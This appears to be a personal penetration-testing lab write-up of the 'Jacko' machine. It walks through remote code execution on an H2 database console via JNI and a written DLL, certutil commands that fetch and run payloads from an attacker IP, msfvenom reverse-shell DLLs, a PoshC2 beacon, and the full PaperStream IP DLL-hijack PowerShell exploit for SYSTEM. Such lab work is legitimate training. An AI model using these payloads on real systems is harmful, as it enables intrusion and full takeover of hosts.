Webserver

H2

H2 console

Code execution

This exploit utilises the Java Native Interface to load a Java class without needing to use the Java Compiler.

The reason we are able to execute a dll here is due to h2 allowing support of user defined functions. User defined functions are essentially Java functions the user can execute. A snippet from a blog post I was reading online here summed this up better than i could.

Support for user defined functions and stored-procedures is a sort of extension point in H2 where one can write a java method, plug it to H2 and execute it as a database function or stored procedure.

To understand this exploit completely we need to understand what JNI is. JNI (Java Native Interface) is a programming interface that allows Java code running in a Java Virtual Machine or Java application to call or be called by non-native Java applications (i.e. dll, C, c++). This means it is just a way to execute code that wasn’t written in Java, therefore it is a vector to invoke our malicious dll.

The JNI allows us to use a Java class that can handle this operation without the need to compile the code.

Searching around for exploits after enumerating the h2 console i came across this POC on exploitdb. It writes a dll to disk and invokes it allowing us to execute arbitrary commands on the host.

-- Write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),CHAR(0x90),CHAR(0x00),CHAR(0x03),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x04),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0xff),CHAR(0xff),CHAR(0x00),CHAR(0x00),CHAR(0xb8),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x40),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),[...SNIP...],CHAR(0x00),'"'), 'ISO-8859-1', '', '', '', '', '');

-- Load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');

-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

h2console

Foothold

CALL JNIScriptEngine2_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -f http://192.168.49.171:8000/posh.exe C:\Windows\Temp\posh.exe").getInputStream()).useDelimiter("\\Z").next()');

CALL JNIScriptEngine2_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:\Windows\Temp\posh.exe").getInputStream()).useDelimiter("\\Z").next()');

The payload I found online gave me a vector to execute certain system commands, but some didn’t work. I tried to download a reverse shell that downloaded the file but failed to execute. I am going to upload my own dll and try to execute it.

i didn’t see this at the time but posh c2 generates certuil payloads that should download and execute the beacon at the same time which could have worked and saved me going through all the steps below.

Also the reason some commands weren’t working ws because i didn’t add /c at the start of the command. Oh well, i get there in the end.

certutil -urlcache -split -f http://192.168.49.171/webhp/s/64/portal %temp%\h8hKf3B9G7LajgH.bin    <--- payload for c2 download and execute

Generating our own dll payload

First lets generate a dll

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=tun0 LPORT=9001 -f dll > rev.dll

Now we need to grab the hex characters. cating it and piping it into xxd gives us this result.

xxd has given us the hex for this binary but also information like memory addresses and the string alternative either side. We can trim this with awk.

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]              
└─$ xxd rev.dll > test.txt
┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]              
└─$ cat test.txt| awk '{print($2,$3,$4,$5,$6,$7,$8,$9);}'                   
4d5a 9000 0300 0000 0400 0000 ffff 0000
b800 0000 0000 0000 4000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 d000 0000
0e1f ba0e 00b4 09cd 21b8 014c cd21 5468
6973 2070 726f 6772 616d 2063 616e 6e6f
7420 6265 2072 756e 2069 6e20 444f 5320        
6d6f 6465 2e0d 0d0a 2400 0000 0000 0000
c10d 06e7 856c 68b4 856c 68b4 856c 68b4
9107 69b5 866c 68b4 856c 69b4 886c 68b4
741b 6cb5 846c 68b4 741b 6ab5 846c 68b4

Once we have done this we need to split it into two byte chunks and wrap CHAR(0x) around it.

The first awk statement removes all whitespace and the second splits it into 2 byte chunks

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ cat test2.txt|awk '{ gsub(/ /,""); print }' | awk '{gsub(/.{2}/,"& ")}1'

4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 
b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 
0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 
69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 
74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20                     
6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 
c1 0d 06 e7 85 6c 68 b4 85 6c 68 b4 85 6c 68 b4 
91 07 69 b5 86 6c 68 b4 85 6c 69 b4 88 6c 68 b4 
74 1b 6c b5 84 6c 68 b4 74 1b 6a b5 84 6c 68 b4 

Now we can use sed to wrap the CHAR(0x), string around each set of 2 bytes

This uses a regex statement with sed to match any character or digit followed by any chracter or digit and uses sed back-references to create a new string with the data that was just matched inserted into it.

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ cat test3.txt | sed 's/\([a-fA-F0-9]\)\([a-fA-F0-9]\)/CHAR(0x\1\2),/g' | head
CHAR(0x4d), CHAR(0x5a), CHAR(0x90), CHAR(0x00), CHAR(0x03), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x04), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0xff), CHAR(0xff), CHAR(0x00), CHAR(0x00), 
CHAR(0xb8), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x40), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), 
CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), 
CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0xd0), CHAR(0x00), CHAR(0x00), CHAR(0x00), 
CHAR(0x0e), CHAR(0x1f), CHAR(0xba), CHAR(0x0e), CHAR(0x00), CHAR(0xb4), CHAR(0x09), CHAR(0xcd), CHAR(0x21), CHAR(0xb8), CHAR(0x01), CHAR(0x4c), CHAR(0xcd), CHAR(0x21), CHAR(0x54), CHAR(0x68), 
CHAR(0x69), CHAR(0x73), CHAR(0x20), CHAR(0x70), CHAR(0x72), CHAR(0x6f), CHAR(0x67), CHAR(0x72), CHAR(0x61), CHAR(0x6d), CHAR(0x20), CHAR(0x63), CHAR(0x61), CHAR(0x6e), CHAR(0x6e), CHAR(0x6f), 
CHAR(0x74), CHAR(0x20), CHAR(0x62), CHAR(0x65), CHAR(0x20), CHAR(0x72), CHAR(0x75), CHAR(0x6e), CHAR(0x20), CHAR(0x69), CHAR(0x6e), CHAR(0x20), CHAR(0x44), CHAR(0x4f), CHAR(0x53), CHAR(0x20), 
CHAR(0x6d), CHAR(0x6f), CHAR(0x64), CHAR(0x65), CHAR(0x2e), CHAR(0x0d), CHAR(0x0d), CHAR(0x0a), CHAR(0x24), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), 
CHAR(0xc1), CHAR(0x0d), CHAR(0x06), CHAR(0xe7), CHAR(0x85), CHAR(0x6c), CHAR(0x68), CHAR(0xb4), CHAR(0x85), CHAR(0x6c), CHAR(0x68), CHAR(0xb4), CHAR(0x85), CHAR(0x6c), CHAR(0x68), CHAR(0xb4), 
CHAR(0x91), CHAR(0x07), CHAR(0x69), CHAR(0xb5), CHAR(0x86), CHAR(0x6c), CHAR(0x68), CHAR(0xb4), CHAR(0x85), CHAR(0x6c), CHAR(0x69), CHAR(0xb4), CHAR(0x88), CHAR(0x6c), CHAR(0x68), CHAR(0xb4) 

Now we need to remove the whitespace / newlines

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ cat test4.txt|awk '{ gsub(/ /,""); print }' > test5.txt
┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ cat test5.txt| tr -d '\n' > test6.txt

Fixing issues with payload above

So for some reason my attempt above didn’t work and i kept getting an SQL write error.

After some googling I found a POC for this exploit and it had a one liner in it to perform all the steps i did above to get our payload into the write format to be written to disk.

also I ended up using a posh c2 beacon because my reverse shell dll from msfvenom didn’t work, it returned a connection to my nc listener but not a shell

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ xxd -p -c 256 poshdll.dll | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g' | tr '\n' ',' > final.txt

Because i used Posh c2 beacon for this payload it ended up being huge so i have trimmed it in the notes.

SELECT CSVWRITE('C:\Windows\Temp\poshBeaco.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),CHAR(0x90),CHAR(0x00),CHAR(0x03),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x04),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0xff),CHAR(0xff),CHAR(0x00),CHAR(0x00),CHAR(0xb8),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x40),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x10),CHAR(0x01),CHAR(0x00),CHAR(0x00),CHAR(0x0e),CHAR(0x1f),CHAR(0xba),CHAR(0x0e),CHAR(0x00),CHAR(0xb4),CHAR(0x09),CHAR(0xcd),CHAR(0x21),CHAR(0xb8),CHAR(0x01),CHAR(0x4c),CHAR(0xcd),CHAR(0x21),CHAR(0x54),CHAR(0x68),CHAR(0x69),CHAR(0x73),CHAR(0x20) [...SNIP...] , '"'), 'ISO-8859-1', '', '', '', '', '');

Once the payload was written to disk we could load it.

CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\poshBeacon.dll');

foothold

Privilege escalation

A pipe is a section of shared memory that processes use for communication. The process that creates a pipe is the pipe server. A process that connects to a pipe is a pipe client. One process writes information to the pipe, then the other process reads the information from the pipe.” In other words, pipes are one of the many ways of achieving Inter-Process Communications (IPC) on Windows, just like RPC, COM or sockets for example.

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

JACKO\tony @ JACKO (PID:2120 - Process:netsh)        
PS 21> ls "c:\program files (x86)" 


Task 00767 (tom2) issued against implant 21 on host JACKO\tony @ JACKO (2022-06-25 21:14:46)
ls "c:\program files (x86)"


Task 00767 (tom2) returned against implant 21 on host JACKO\tony @ JACKO (2022-06-25 21:14:46)



    Directory: C:\program files (x86)


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----        4/27/2020   8:59 PM                Common Files                                                           
d-----        4/27/2020   9:01 PM                fiScanner                                                              
d-----        4/27/2020   8:59 PM                H2                                                                     
d-----         5/3/2022   6:22 PM                Internet Explorer                                                      
d-----        3/18/2019   9:52 PM                Microsoft.NET                                                          
d-----        4/27/2020   9:01 PM                PaperStream IP                                                         
d-----        3/18/2019  11:20 PM                Windows Defender                                                       
d-----        3/18/2019   9:52 PM                Windows Mail                                                           
d-----        4/24/2020   9:50 AM                Windows Media Player                                                   
d-----        3/18/2019  11:23 PM                Windows Multimedia Platform                                            
d-----        3/18/2019  10:02 PM                Windows NT                                                             
d-----        3/18/2019  11:23 PM                Windows Photo Viewer                                                   
d-----        3/18/2019  11:23 PM                Windows Portable Devices                                               
d-----        3/18/2019   9:52 PM                WindowsPowerShell

There is an interesting 32 bit program running on the machine.

Taking a look in exploit db for anything of interest we have identified a potential DLL hijack of a privileged process we could use for privilege escalation

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ searchsploit paperstream ip            
------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ---------------------------------
PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation         | windows/local/49382.ps1
------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

DLL Hijack payload

$PayloadFile = "C:\Users\tony\desktop\shell3.dll"

if ((Test-Path $PayloadFile) -eq $false) {
    Write-Host "$PayloadFile not found, did you forget to upload it?"
    Exit 1
}

# Find Writable Location
$WritableDirectory = $null
$Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path
$Path -Split ";" | % {
    try {
        [IO.File]::OpenWrite("$_\x.txt").close()
        Remove-Item "$_\x.txt"
        $WritableDirectory = $_
    } catch {}
}

if ($WritableDirectory -eq $null) {
    Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable"
    Exit 1
}

Write-Host "Writable location found, copying payload to $WritableDirectory"
Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll"

Write-Host "Payload copied, triggering..."
$client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)
$reader = $null
$writer = $null
try {
    $client.Connect()
    $reader = New-Object System.IO.StreamReader($client)
    $writer = New-Object System.IO.StreamWriter($client)
    $writer.AutoFlush = $true
    $writer.Write("ChangeUninstallString")
    $reader.ReadLine()
} finally {
    $client.Dispose()
}


Generate DLL

We need to generate an x86 (32 bit) payload because although the Windows system is 64 bit, the program we are exploiting is 32 bit which will need to run our 32 bit payload.

┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]
└─$ msfvenom -p windows/shell_reverse_tcp -f dll -o shell3.dll LHOST=192.168.49.162 LPORT=445

Overview

This vulnerability is caused by this program Paperstream IP which has a service called FJTWSVIC running with SYSTEM privileges. This processes accepts unauthenticated messages over the FjtwMkic_Fjicube_32 named pipe. One of these message processing functions attempts to dynamically load a dll called UninOldIS.dll. To cause the service to attempt to load this dll the string ChangeUninstallString can be passed via the named pipe.

pipes

We can see the named pipe of the vulnerable process is running, confirming the process is on the machine, we just need to write the dll anywhere in the path and get the service to execute it.

PS C:\users\tony\desktop> .\49382.ps1
.\49382.ps1
Writable location found, copying payload to C:\JavaTemp\
Payload copied, triggering...



┌──(kali㉿kali)-[~/Documents/OSCPprep/jacko]       
└─$ sudo nc -nvlp 445                            
listening on [any] 445 ...
connect to [192.168.49.162] from (UNKNOWN) [192.168.162.66] 50059            
Microsoft Windows [Version 10.0.18363.836]   
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami                                                   
whoami                             
nt authority\system   

References